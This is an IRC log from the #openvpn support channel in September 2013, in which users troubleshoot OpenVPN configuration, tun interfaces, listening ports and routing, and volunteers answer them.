12:06 -!- fcp2 [~fcp2@81.84.240.35] has quit [Ping timeout: 260 seconds]
12:21 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 256 seconds]
12:22 -!- kevinsky [~kevin@senna.rosendaal.net] has quit [Ping timeout: 240 seconds]
12:22 -!- UnterPerro [~UnterPerr@c-50-140-198-18.hsd1.fl.comcast.net] has joined #openvpn
12:24 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
12:26 -!- UnterPerro [~UnterPerr@c-50-140-198-18.hsd1.fl.comcast.net] has quit [Client Quit]
12:28 -!- mode/#openvpn [+v pekster] by ChanServ
12:29 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:40 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
12:56 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
13:31 -!- sherefe [~sh@178.90.2.86] has quit [Quit: Q_u_i_t]
13:36 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has joined #openvpn
13:44 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
13:54 -!- esde [~esde@162.218.209.203] has joined #openvpn
13:58 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has quit [Read error: Operation timed out]
14:28 -!- devdel [~d3vd3l@h-239-51.a199.priv.bahnhof.se] has joined #openvpn
14:28 -!- devdel [~d3vd3l@h-239-51.a199.priv.bahnhof.se] has quit [Client Quit]
14:30 -!- esde [~esde@162.218.209.203] has quit [Quit: ZNC - http://znc.in]
14:37 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has joined #openvpn
14:38 -!- Devastatr [~devas@177.99.153.205] has joined #openvpn
14:38 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
14:39 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
14:41 -!- Devastatr [~devas@177.99.153.205] has quit [Changing host]
14:41 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
14:41 -!- Devastatr is now known as Devastator
15:12 -!- bogie is now known as bawki
15:13 -!- tomboy_ [tomboy@gateway/shell/blinkenshell.org/x-ahwtvfzcuwtnmlal] has left #openvpn []
15:15 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:18 -!- heraclitus [~halcyonty@unaffiliated/heraclitis] has quit [Quit: Leaving]
15:27 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-feqhcieecfyvsphj] has quit [Read error: Connection reset by peer]
15:27 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-kchgdrbmfwufnuaz] has joined #openvpn
15:38 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has joined #openvpn
15:40 -!- Brando753 [~Brando753@unaffiliated/brando753] has quit [Ping timeout: 264 seconds]
15:45 < julius_> hi
15:46 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:46 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has quit [Quit: FatDarrel]
15:47 < julius_> when i use these commands to redirect the output from tun0 to ifb0: dev=tun0; indev=ifb0; tc qdisc add dev $dev handle ffff: ingress          tc filter add dev $dev parent ffff: protocol ip prio 1 u32 match u32 0 0 action mirred egress redirect dev $indev         i get this tcpdump output: http://pastebin.ca/2452360        why dont i get the icmp packets that went into the openvpn tunnel?
15:47 < julius_> works when pinging google and using dev=eth0
15:53 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has joined #openvpn
15:55 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
15:57 -!- Brando753 [~Brando753@unaffiliated/brando753] has joined #openvpn
16:14 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Quit: Meet your opposition - Profane and disciplined - Take back your pride - With a pounding hammer]
16:15 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
16:30 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has quit [Quit: FatDarrel]
16:38 -!- vertigo [bleach@i.like.irc.so] has quit [Disconnected by services]
16:39 -!- vertigo [bleach@i.like.irc.so] has joined #openvpn
16:46 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 264 seconds]
16:53 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 264 seconds]
17:01 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
17:23 -!- Blal [~callum@82.199.155.15] has joined #openvpn
17:23 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has joined #openvpn
17:23 < Blal> Just want to say, thank you based OpenVPN
17:23 < Blal> Uni internet even blocks IRC, so I had to put it over TCP443 but now I can internet in peace
17:27 -!- esde [~esde@162.218.209.203] has joined #openvpn
17:27 -!- esde [~esde@162.218.209.203] has quit [Changing host]
17:27 -!- esde [~esde@unaffiliated/esde] has joined #openvpn
17:47 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has quit [Ping timeout: 246 seconds]
17:54 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
18:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:06 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has quit [Quit: FatDarrel]
18:07 -!- yoseforb_ [~yoseforb@164.138.115.227] has quit [Remote host closed the connection]
18:18 -!- Blal [~callum@82.199.155.15] has left #openvpn ["Leaving"]
18:18 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:22 -!- vertigo [bleach@i.like.irc.so] has quit [Disconnected by services]
18:22 -!- vertigo [bleach@i.like.irc.so] has joined #openvpn
18:22 -!- vertigo [bleach@i.like.irc.so] has quit [Disconnected by services]
18:25 -!- vertigo- [bleach@i.like.irc.so] has joined #openvpn
18:29 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Remote host closed the connection]
18:52 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 254 seconds]
19:03 -!- houkouonchi [~linux@pool-71-165-8-99.lsanca.fios.verizon.net] has quit [Remote host closed the connection]
19:05 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
19:20 -!- toothe [~mongolian@unaffiliated/toothe] has joined #openvpn
19:21 < toothe> I am reading one of the intro OpenVPN guides, that makes reference to the "Server configuration file", but does not tell which actual file it is
19:21 < toothe> the page is this: http://openvpn.net/index.php/open-source/documentation/miscellaneous/78-static-key-mini-howto.html
19:21 <@vpnHelper> Title: Static Key Mini-HOWTO (at openvpn.net)
19:21 < toothe> What is the actual configuration file?
19:23 <@ecrist> you tell us
19:24 <@ecrist> openvpn is run as " openvpn --config <file>"
19:24 < toothe> I don't know, I'm actually a bit overwhelmed right now
19:24 < toothe> ahhh....
19:24 <@ecrist> you get to decide what <file> is
19:24 < toothe> not with the service command?
19:24 <@ecrist> well, that a linuxism
19:24 < toothe> Ubuntu'ism, to be precise :-)
19:24 <@ecrist> that involves the RC subsystem, which isn't determined by us
19:24 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
19:24 < toothe> True.
19:25 <@ecrist> freebsd has a different methode, as does netBSD, openBSD, Gentoo, etc etc
19:25 <@ecrist> so, we can support you running it manually from the command line.  the rc stuff is up to you to figure out
19:25 < toothe> ahh
19:26 <+pekster> Most decent distros have a way to control each service per-instance; the more ugly ones don't, but that's all up to the distro packager/maintainer
19:26 <+pekster> Though you're also free to write your own ;)
19:26 < toothe> fair enough.
19:26 < toothe> Thanks :-) Someone asked me to setup the VPN network for a small comapny
19:27 <@ecrist> sounds like they picked the right guy...
19:27 <@ecrist> :P
19:31 < toothe> :-(
19:31 -!- yeled [~yeled@spodder.com] has joined #openvpn
19:31 < toothe> I do other general support for them, small scale things
19:31 < toothe> the largest thing I did was switch their email over to gmail
19:33 < yeled> tracepath reports 3 hops with the same IP. Is this because each /dev/tunX is sending back a TTL expired? https://spodder.com/p/BQLnKtL9d1CseaOhVTmPaA8w
19:33 < yeled> also they have the same 'hop' count
19:34 < yeled> or TTL
19:36 < toothe> oh wait, openvpn can use Windows's VPN client?
19:36 < toothe> the built-in one
19:37 < MorgyN> no
19:39 < toothe> im a little confused, this guide has me create the tun0 interface. However, that interface is not public-facing (of course).
19:40 <+pekster> Depends on what you're doing; often it's best to let openvpn dynamically create the tun device
19:40 < toothe> that is what it did....let me google what the tun interface is
19:41 -!- dougy[work] [~dougwork@static-98-109-158-66.nwrknj.fios.verizon.net] has joined #openvpn
19:41 <+pekster> If you need, you get script hooks (see !scripts) to tell you the device name so you can "do extra stuff" with that info on startup, should you need it. You can also tell openvpn to use a specifically named interface, like tun_site6 or something for firewall purposes
19:41 -!- Dougy [~dougwork@static-98-109-158-66.nwrknj.fios.verizon.net] has quit [Ping timeout: 240 seconds]
19:42 < toothe> so, this is one of those cases where I don't know what the solution to my problem is, but it seems obvious to you
19:44 <+pekster> I'm merely pointing you to reading on possible options in front of you
19:45 <@krzee> after reading the scroll i cant actually figure out what the problem is
19:46 <+pekster> Legwork stuff, AFAICT. I'm not sure how the leap from static-keyed tunnel to manually creating a tun device happened though
19:47 <@krzee> sounds like you're on the right path just gotta keep reading and playing with it
19:49 < toothe> that's exactly what I"ll do
19:49 <@krzee> if you don't happen to already be somewhat advanced with networking, expect it to take a lot of learning
19:49 < toothe> I'm pretty good in networking...
19:50 <@krzee> cool that will help
19:50 < toothe> oh, are you talking to me? I've written an article on IPv6 networking and know v4 pretty well
19:50 < toothe> I'm not as familiar with some of the P2P and VPN-type tunneling ideas, but im familiar enough
19:55 <+pekster> It helps to think of openvpn as a router really; it uses a (virtual) interface that you generally assign an IP to, and you can route across it. The openvpn configuration mostly deals with semantics about how to set that up, and desired security settings
19:56 < toothe> so, let me get this straight...lets suppose my public IP is 1.2.3.4, and my tun0 addy is 10.8.0.1 (for example), do clients connect to 1.2.3.4? Obviously they can't connect to tun0, which isn't publicly routable.
19:57 <+pekster> Yup, externally connecting clients reach the server on the outside IP on the port openvpn is listening on; all tunneled traffic is encapsulated and transported to the remote VPN peer across that socket (port)
19:59 < toothe> hm...UDP port 1194 is not listening
20:01 < toothe> yeah, I don't get this.
20:01 -!- Intensity [~Intensity@unaffiliated/intensity] has joined #openvpn
20:02 < toothe> "To verify that the VPN is running, you should be able to ping 10.8.0.2 from the server and 10.8.0.1 from the client."
20:02 < toothe> how can the client ping 10.8.0.1 if that addy is on the tun0 interface?
20:02 < toothe> and NOT public-facing?
20:03 <+pekster> Same way you can ping across a 2nd NIC in a "standard PC" that's connected to a 2nd network
20:03 < toothe> routing it?
20:03 < yeled> ovpn pushes a /32 if you dont specify a mask toothe
20:03 <+pekster> One doesn't route traffic that's "on-link"
20:04 <+pekster> (yes, the encapsulated "outter VPN packet" gets routed, but 'ping' doesn't know this)
20:04 < toothe> But, that's impossible over the open internet
20:04 < toothe> The client cannot ping a 10.0.0.0/24 address prior to establishing a VPN connection
20:05 <+pekster> That's how you test connectivity *after* connection
20:05 < toothe> Ahh....
20:05 <+pekster> Your quote above probably should have read "to verify the VPN is properly connected"
20:05 < toothe> ahh, now I get it.
20:07 < toothe> my server configuration is simple "dev tun / ifconfig 10.8.0.1 10.8.0.2 / secret static.key", but UDP port 1194 is not open.
20:08 < Intensity> Hi. I'm having some network (card) hiccups which cause a TCP session to drop and even the interface resets itself. I'd like to connect these two OS X hosts with OpenVPN using UDP to keep a consistent internal network interface and to shield the TCP layer from the network hiccups.
20:09 < Intensity> Is there an *extremely* minimum setup that would work on OS X Mountain Lion?  I've instealled via MacPorts and got some errors about tun/tap device.  A pointer to the most basic setup would be appreciated.  This is on an internal network so no need for encryption, and ssh will be used on top of it anyway.
20:10 < toothe> gah, why isn't port 1194 opening?
20:10 <+pekster> Intensity: Check out --persist-tun in the manpage as this sounds like part of what you want if you're using OpenVPN to abstract away link issues
20:10 <+pekster> Also, most Mac OS X folks prefer Tunnelblick as it comes with openpvn, the ktun driver, and a nice UI widget for the OS
20:11 <+pekster> (erm, I guess at present it's just the tun driver in kext format, not ktun which is something similar but different)
20:11 <+pekster> toothe: OpenVPN will refuse to start up if it can't bind to the port you asked; check your logs
20:12 < Intensity> +pekster: Okay, thanks for the suggestion.  I had experienced issues loading the tun or tap driver but maybe MacPorts installed a kext somewhere which I never loaded.  I've set up OpenVPN before, but not on Mac computers.
20:12 <+pekster> Tunellblick is fantastic: it "just works" and it's got nifty feature for deployment-uses too
20:14 < Intensity> +pekster: I already have Shimo installed on one of them (not in active use) so it may confuse the system to have two GUIs.  Plus one of the hosts already doesn't have proper external internet access so any GUI program may get confused about this.  I had to set up a private IP address for the other host - without transparent routing.  Fine for an internal OpenSSH between the hosts to transfer data, but frustrating as the network interface has k
20:21 < toothe> pekster: Seems that my tun interface has some sort of problem.
20:21 <+pekster> That sounds vauge, but problematic
20:29 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-kchgdrbmfwufnuaz] has quit [Ping timeout: 264 seconds]
20:38 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
20:39 < toothe> yes, I don't fully understand it.
20:41 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 248 seconds]
20:44 < Intensity> Okay I think I got the basics working between the two OS X clients.  I'm wondering if there are some set of options which suggest that the connection stays active even if the network goes down, the real interfaces get reset, or even if one of the OpenVPN processes has to be reset.
20:45 < toothe> ep 15 21:44:58 ubuntu1210 NetworkManager[1142]: <warn> /sys/devices/virtual/net/tun0: couldn't determine device driver; ignoring...
20:45 < toothe> Trynig to figure out how to fix that.
20:49 <+pekster> !netman
20:49 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
20:49 <+pekster> Get your VPN working _without_ network manager or any unofficial GUI. If you want a frontend later after it's working, do it then
20:50 < toothe> I am not, I'm trying to use the default configuration.
20:51 < toothe> this is a relatively clean Linux build, but I'm clearly doing something wrong.
20:51 <+pekster> No, your're clearly not. network-manager is not part of OpenVPN
20:51 < toothe> i'll just uninstall network-manager (whatever that even is)
20:51 <+pekster> Why don't you call openvpn from the command line and get it working first?
20:52 < toothe> I did, I did openvpn --config ./server.conf
20:52 <+pekster> If you want help with ubuntu or network-manager, downstream support is where you want to look instead
20:52 <+pekster> The error you posted is not from openvpn: why are you posting a "NetworkManager" error?
20:53 <+pekster> If you want help, start here:
20:53 <+pekster> !welcome
20:53 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
20:53 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
20:53 <+pekster> The bits about !configs and !logs are the important ones
20:59 < toothe> okay, I uninstalled network-manager
21:05 <+pekster> Well, uninstalling it isn't really necessary; just don't have it launch your VPNs
21:05 <+pekster> OpenVPN is a command line tool; we support openvpn here, not downstream distro-isms, though we may try to a limited degree to point you to the relevant resources in such cases
21:09 < toothe> so, I just uninstalled network-manager, no more error message....but still no port 1194 :-(
21:10 < toothe> :-(
21:11 <+pekster> "Something must be wrong." Since I've seen none of the aforementioned material, I can confidently tell you "something isn't working as you expect."
21:11 < toothe> :-)
21:12 < toothe> yeah, I'm having trouble figuring this out.
21:13 < toothe> I'm sure its something as silly....
21:14 < toothe> and...now i'm frustrated
21:19 < toothe> pekster: If yu were in my situation, what would you do?
21:20 <+pekster> Read the bot output and try posting useful inforamtion. I can't help if the best info I have is a "frowny face"
21:21 < toothe> http://pastebin.com/JWmtVeLL
21:21 < toothe> That is what happens when I attempt to run openvpn, the output from the command-line
21:24 -!- toobluesc [~nitro@c-50-136-226-78.hsd1.ca.comcast.net] has joined #openvpn
21:26 < toothe> so like...can I pay someone money t help me fix this problem?
21:26 <+pekster> Looks fine at a glance, although you probably didn't intend to PtP with 10.8.0.3 -> 20.8.0.1
21:27 < toothe> Corrected.
21:27 <+pekster> You sure it's "not listening"? try `netstat -an | grep 1194`
21:27 < toothe> NOw its listening....
21:28 <+pekster> Unless the logs exit with a fatal error, it will be. Otherwise it yells at you like this: TCP/UDP: Socket bind failed on local address [undef]: Address already in use
21:28 <+pekster> Genrally, the howtos have sample configs you can prety much copy/paste and just slap in your external IPs to get a basic VPN working
21:39 < toothe> Id did very much that.
21:45 < toothe> Can you use a key file with the Windows client? I can't figure out where the option is from the interface.
21:46 -!- aegis [~aegis@184.75.223.210] has quit [Ping timeout: 264 seconds]
21:46 <+pekster> The config files are platform-portable
21:46 -!- yeled [~yeled@spodder.com] has left #openvpn ["meh.."]
21:46 <+pekster> You mean a static key? You define that with the --static directive
21:47 <+pekster> (note that on Windows you must double-escape backslashes, and quote paths that have spaces. For example: --static "C:\\Program Files(x86)\\OpenVPN\\config\\my-static.key"
21:47 <+pekster> The examples in !howto have details
21:51 < toothe> ahh...
21:52 < toothe> I'm not even 100% certain I'm doing this right yet.
22:00 -!- julius__ [~julius@p3EE2A094.dip0.t-ipconnect.de] has joined #openvpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:04 -!- julius_ [~julius@p3EE2BEE5.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds]
22:09 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-dowbznfxuehhnwcm] has joined #openvpn
22:23 < toothe> Unable to obtain Session ID from 192.168.1.129:443: XML-RPC: ConnectionRefusedError: 10061: No connection could be made because the target machine actively refused it..
22:23 < toothe> That sounds like the client is not even listening.
22:23 <+EugeneKay> The client doesn't listen
22:23 <+EugeneKay> That's why it's called a client
22:39 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
22:47 -!- aegis [~aegis@184.75.223.34] has joined #openvpn
23:35 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Ping timeout: 260 seconds]
23:35 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
23:42 < Skapare> client connects to server ... which end is client and which end is server ... you decide
23:43 < Skapare> then configure accordingly
23:56 < Skapare> hint: if A cannot connect to B, but B can connect to A, make B be the client
23:56 < Skapare> (that's what I did for mine)
--- Day changed Mon Sep 16 2013
00:12 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:16 -!- kubbing [~kubbing@gprs27.vodafone.cz] has joined #openvpn
00:23 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 264 seconds]
00:31 -!- kubbing [~kubbing@gprs27.vodafone.cz] has quit [Read error: Connection reset by peer]
00:34 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
00:44 -!- kubbing [~kubbing@gprs27.vodafone.cz] has joined #openvpn
00:48 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has joined #openvpn
00:51 -!- kubbing [~kubbing@gprs27.vodafone.cz] has quit [Read error: Connection reset by peer]
00:51 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has joined #openvpn
01:16 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:16 -!- eval- [~stephan@pool-100-1-110-92.nwrknj.fios.verizon.net] has quit [Ping timeout: 276 seconds]
01:19 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has quit [Ping timeout: 260 seconds]
01:20 -!- Carbon_Monoxide [~cmonxide@14.0.143.125] has joined #openvpn
01:20 -!- Carbon_Monoxide [~cmonxide@14.0.143.125] has left #openvpn []
01:27 -!- FluxD [~FluxD@unaffiliated/fluxd] has joined #openvpn
01:29 < FluxD> !paste
01:29 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
01:34 < FluxD> Hi all. I am using openvpn from an external provider with the following config (http://paste.kde.org/p337ba5d2/). I blanked out ips intentionally. Now, here is my problem. When I start openvpn, the original ips gets completely bypassed and all traffic goes through the vpn ip. I am trying to see if there is any posible way to get access to the original ips somehow. Like some sort of whitelisting so some ips can still connect to the original ip from ifcon
01:34 < FluxD> fig. Thanks!
01:37 < Aketzu> remove redirect-gateway and manually add to routing tables the ranges you want to pass through vpn
01:38 < Aketzu> .. or manually add the ranges you don't want to pass through vpn
01:42 -!- master_of_master [~master_of@p4FD7BF51.dip0.t-ipconnect.de] has joined #openvpn
01:46 -!- master_o1_master [~master_of@p4FF24F19.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds]
01:48 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
01:49 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has quit [Quit: FatDarrel]
01:50 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
01:50 -!- mode/#openvpn [+v s7r] by ChanServ
01:52 -!- kubbing [~kubbing@ip-89-176-96-6.net.upcbroadband.cz] has joined #openvpn
02:13 < FluxD> Aketzu, thanks, I am not too familar on routes, can you provide an example ?
02:24 -!- eval- [~stephan@pool-98-109-15-233.nwrknj.fios.verizon.net] has joined #openvpn
02:31 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 260 seconds]
02:33 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
02:35 -!- abyss [~abyss@i-free.pl] has quit [Ping timeout: 245 seconds]
02:37 -!- abyss [~abyss@i-free.pl] has joined #openvpn
03:01 -!- Linmu [~Linmu@203.70.194.104] has quit [Quit: leaving]
03:36 -!- yoseforb_ [~yoseforb@164.138.115.227] has joined #openvpn
03:42 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-dowbznfxuehhnwcm] has quit [Ping timeout: 245 seconds]
03:42 -!- monsbeat [~mons@93.115.84.195] has joined #openvpn
03:46 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 260 seconds]
03:51 -!- takamichi [~takamichi@217.23.5.63] has joined #openvpn
03:56 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
03:57 -!- monsbeat [~mons@93.115.84.195] has quit [Quit: monsbeat]
03:57 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 246 seconds]
04:01 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-hfyiuxbcgqszofdn] has joined #openvpn
04:03 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
04:08 -!- NET||abuse [~luke@86.6.148.64] has quit [Ping timeout: 264 seconds]
04:09 -!- kubbing [~kubbing@ip-89-176-96-6.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:12 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
04:16 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
04:17 -!- takamichi [~takamichi@217.23.5.63] has quit [Ping timeout: 240 seconds]
04:19 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:21 -!- crus [~crusader@2001:44b8:319e:2900:8176:98e4:db2c:1749] has quit [Remote host closed the connection]
04:21 -!- NET||abuse [~luke@86.6.148.64] has joined #openvpn
04:21 -!- crus [~crusader@2001:44b8:319e:2900:8176:98e4:db2c:1749] has joined #openvpn
04:50 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
04:53 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
04:53 -!- HaxCore [~p3rror@41.250.251.159] has joined #openvpn
04:56 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
04:58 -!- HaxCore [~p3rror@41.250.251.159] has quit [Ping timeout: 260 seconds]
05:10 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
05:15 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 260 seconds]
05:21 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:26 < DrCode> hi all
05:26 < DrCode> I am using openvpn with openwrt
05:26 < DrCode> I want to port forward openvpn server to lan pc , do I need to setup openvpn or openwrt?
05:36 < julius__> is openvpn running on the openwrt box?
05:39 < julius__> if it is you dont need port forwarding to reach it from the outside. but you should tell us what goal you are trying to accomplish
05:43 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
05:47 < julius__> when i use these commands to redirect the output from tun0 to ifb0: dev=tun0; indev=ifb0; tc qdisc add dev $dev handle ffff: ingress          tc filter add dev $dev parent ffff: protocol ip prio 1 u32 match u32 0 0 action mirred egress redirect dev $indev         i get this tcpdump output: http://pastebin.ca/2452360        why dont i get the icmp packets that went into the openvpn tunnel?
05:49 -!- Fira [artix@unaffiliated/fira] has joined #openvpn
05:53 < Fira> Hey there. Friend around is trying to run OpenVPN over a Rotary NAT Pool and it keeps on glitching, fails to complete for a while before eventually working - my guess because the IP keeps changing...
05:54 < Fira> Is this normal ? Or is the problem coming from something else ? If not, any workaround ? :/
06:02 -!- yoseforb_ [~yoseforb@164.138.115.227] has quit [Ping timeout: 276 seconds]
06:04 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
06:05 -!- yoseforb_ [~yoseforb@164.138.114.254] has joined #openvpn
06:06 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-hfyiuxbcgqszofdn] has quit [Ping timeout: 264 seconds]
06:12 -!- yoseforb_ [~yoseforb@164.138.114.254] has quit [Remote host closed the connection]
06:22 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
06:37 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
06:53 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
07:31 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:37 < defswork> Fira, look at nobind
07:44 <@krzee> Fira, look at --float
07:45 <@krzee> however, if the rotary nat pool is to hide location, note that this will make it rather obvious  that they are connecting to the same session
07:47 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
08:05 -!- JRocha [~JRocha@200.189.189.47] has quit []
08:09 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 248 seconds]
08:41 -!- speed_racer84 [~speed_rac@50.79.143.149] has joined #openvpn
08:42 -!- NET||abuse [~luke@86.6.148.64] has quit [Ping timeout: 264 seconds]
08:53 < DrCode> sorry
08:53 < DrCode> my mistage
08:53 < DrCode> mistake
08:54 -!- roentgen [~irc@rds.psw.ro] has joined #openvpn
08:54 -!- roentgen [~irc@rds.psw.ro] has quit [Changing host]
08:54 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
08:56 -!- NET||abuse [~luke@86.6.148.64] has joined #openvpn
09:00 -!- speed_racer84 [~speed_rac@50.79.143.149] has quit [Quit: Leaving]
09:11 -!- NET||abuse [~luke@86.6.148.64] has quit [Ping timeout: 245 seconds]
09:25 -!- NET||abuse [~luke@86.6.148.64] has joined #openvpn
09:38 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
09:53 -!- e-ndy [~e-ndy@fantomas.bestit.cz] has quit [Ping timeout: 264 seconds]
09:58 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has joined #openvpn
10:00 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has quit [Client Quit]
10:01 -!- FluxD [~FluxD@unaffiliated/fluxd] has quit [Quit: Leaving]
10:05 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:09 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 260 seconds]
10:14 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Ping timeout: 240 seconds]
10:14 -!- dupondje [~dupondje@artemis.dupie.be] has quit [Ping timeout: 240 seconds]
10:14 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 240 seconds]
10:14 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 240 seconds]
10:15 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 240 seconds]
10:15 -!- vertigo- [bleach@i.like.irc.so] has quit [Ping timeout: 240 seconds]
10:15 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has quit [Ping timeout: 240 seconds]
10:15 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has quit [Ping timeout: 240 seconds]
10:15 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has quit [Ping timeout: 240 seconds]
10:16 -!- dupondje [~dupondje@artemis.dupie.be] has joined #openvpn
10:16 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has joined #openvpn
